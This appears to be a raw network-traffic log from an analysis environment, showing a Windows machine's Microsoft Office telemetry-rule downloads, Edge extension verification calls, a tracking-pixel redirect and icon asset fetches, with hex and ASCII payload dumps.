2024-11-25 06:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065349Z-15b8b599d88m7pn7hC1TEB4axw00000005ng000000007u20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:49 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065349Z-178bfbc474bw8bwphC1NYC38b400000006xg000000007m56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:50 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065350Z-178bfbc474bbbqrhhC1NYCvw74000000077000000000aaey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49901	204.79.197.239	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:50 UTC	459	OUT	POST /extensioninstallverifier/v1.1/installverify HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Content-Length: 119 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:50 UTC	119	OUT	Data Raw: 7b 22 68 61 73 68 22 3a 22 63 4c 7a 54 74 4a 43 2b 2f 4f 55 6c 4a 6e 7a 34 73 6f 2f 53 51 67 56 30 39 76 76 68 46 6e 44 50 71 4c 75 42 5a 50 52 57 31 68 73 3d 22 2c 22 69 64 73 22 3a 5b 22 6a 6d 6a 66 6c 67 6a 70 63 70 65 70 65 61 66 6d 6d 67 64 70 66 6b 6f 67 6b 67 68 63 70 69 68 61 22 5d 2c 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 31 7d Data Ascii: {"hash":"cLzTtJC+/OUlJnz4so/SQgV09vvhFnDPqLuBZPRW1hs=","ids":["jmjflgjpcpepeafmmgdpfkogkghcpiha"],"protocol_version":1}
2024-11-25 06:53:51 UTC	335	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 420 Content-Type: application/json; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 18E5B7AFE3394A41B6104FEABE5D35E4 Ref B: EWR30EDGE1610 Ref C: 2024-11-25T06:53:50Z Date: Mon, 25 Nov 2024 06:53:50 GMT Connection: close
2024-11-25 06:53:51 UTC	420	IN	Data Raw: 7b 22 73 69 67 6e 61 74 75 72 65 22 3a 22 4d 75 79 37 50 5a 64 52 34 66 4e 67 78 4f 33 2b 42 64 2f 72 72 79 6a 62 6c 39 43 30 45 49 34 4e 51 52 4d 6f 6a 71 30 55 30 7a 6e 79 71 4d 41 67 4c 36 6d 6c 43 2f 64 70 6a 73 2f 46 6b 51 4c 54 43 62 4e 79 76 46 4b 69 58 64 34 69 6d 6a 48 62 74 70 72 70 73 6d 30 4e 67 56 38 42 4b 42 50 78 6f 4d 43 5a 75 39 67 62 69 77 69 54 37 50 39 77 79 52 47 4e 72 71 63 48 61 7a 6c 78 63 5a 73 4d 4a 4f 47 4f 70 6e 7a 6c 73 38 35 7a 52 66 73 48 30 67 75 54 36 39 37 73 6c 48 56 33 37 59 63 69 75 74 59 44 6e 57 6b 34 62 49 47 49 49 4a 46 62 37 76 43 62 7a 6f 51 2f 50 56 65 62 59 34 35 6d 64 58 4c 47 32 59 78 4e 31 5a 78 74 42 6c 39 73 49 6d 4e 4a 41 58 4a 4b 54 53 59 6d 46 78 64 6d 68 77 58 4f 43 32 7a 50 77 56 66 69 43 64 78 4a 59 Data Ascii: {"signature":"Muy7PZdR4fNgxO3+Bd/rryjbl9C0EI4NQRMojq0U0znyqMAgL6mlC/dpjs/FkQLTCbNyvFKiXd4imjHbtprpsm0NgV8BKBPxoMCZu9gbiwiT7P9wyRGNrqcHazlxcZsMJOGOpnzls85zRfsH0guT697slHV37YciutYDnWk4bIGIIJFb7vCbzoQ/PVebY45mdXLG2YxN1ZxtBl9sImNJAXJKTSYmFxdmhwXOC2zPwVfiCdxJY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49869	18.165.220.57	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:50 UTC	925	OUT	GET /b?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:51 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 06:53:51 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1DBa317ad8b459c136021121732517631; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1DBa317ad8b459c136021121732517631; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 680370d83a2dca8172426cfc0e48cf92.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: w-xoKlz-RC13veIzkDOObJaS53Av_33a_1tsQPa8MxAZa051Rb-Uhw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:51 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065352Z-178bfbc474bwlrhlhC1NYCy3kg000000070000000000gagg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:51 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8d306870-001e-0049-49bf-3e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065352Z-178bfbc474bxkclvhC1NYC69g4000000072g0000000049c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49907	204.79.197.239	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:51 UTC	608	OUT	GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=mo2mtUNsb4O2RkZ1wOcc0B&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.55&lang=en-GB&acceptformat=crx3,puff HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Scenario: Update Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br
2024-11-25 06:53:52 UTC	338	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Transfer-Encoding: chunked Content-Type: text/plain; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 983CE3A2919E45B0928A96DC20C0FF5A Ref B: EWR311000103023 Ref C: 2024-11-25T06:53:52Z Date: Mon, 25 Nov 2024 06:53:51 GMT Connection: close
2024-11-25 06:53:52 UTC	48	IN	Data Raw: 32 61 0d 0a 4c 6f 67 67 69 6e 67 20 72 65 6c 69 61 62 69 6c 69 74 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 63 65 73 73 66 75 6c 0d 0a Data Ascii: 2aLogging reliability information successful
2024-11-25 06:53:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: ceab71a5-101e-0017-2bd0-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065352Z-178bfbc474bwlrhlhC1NYCy3kg000000074g0000000050x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49904	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 0d5171c6-001e-0023-5c06-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-178bfbc474bp8mkvhC1NYCzqnn00000006x0000000009kp8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065352Z-15b8b599d88f9wfchC1TEBm2kc00000005mg00000000gp33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49911	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 59ab5595-d01e-0021-765c-3d0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-174c587ffdf8fcgwhC1TEBnn7000000005sg0000000082yt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
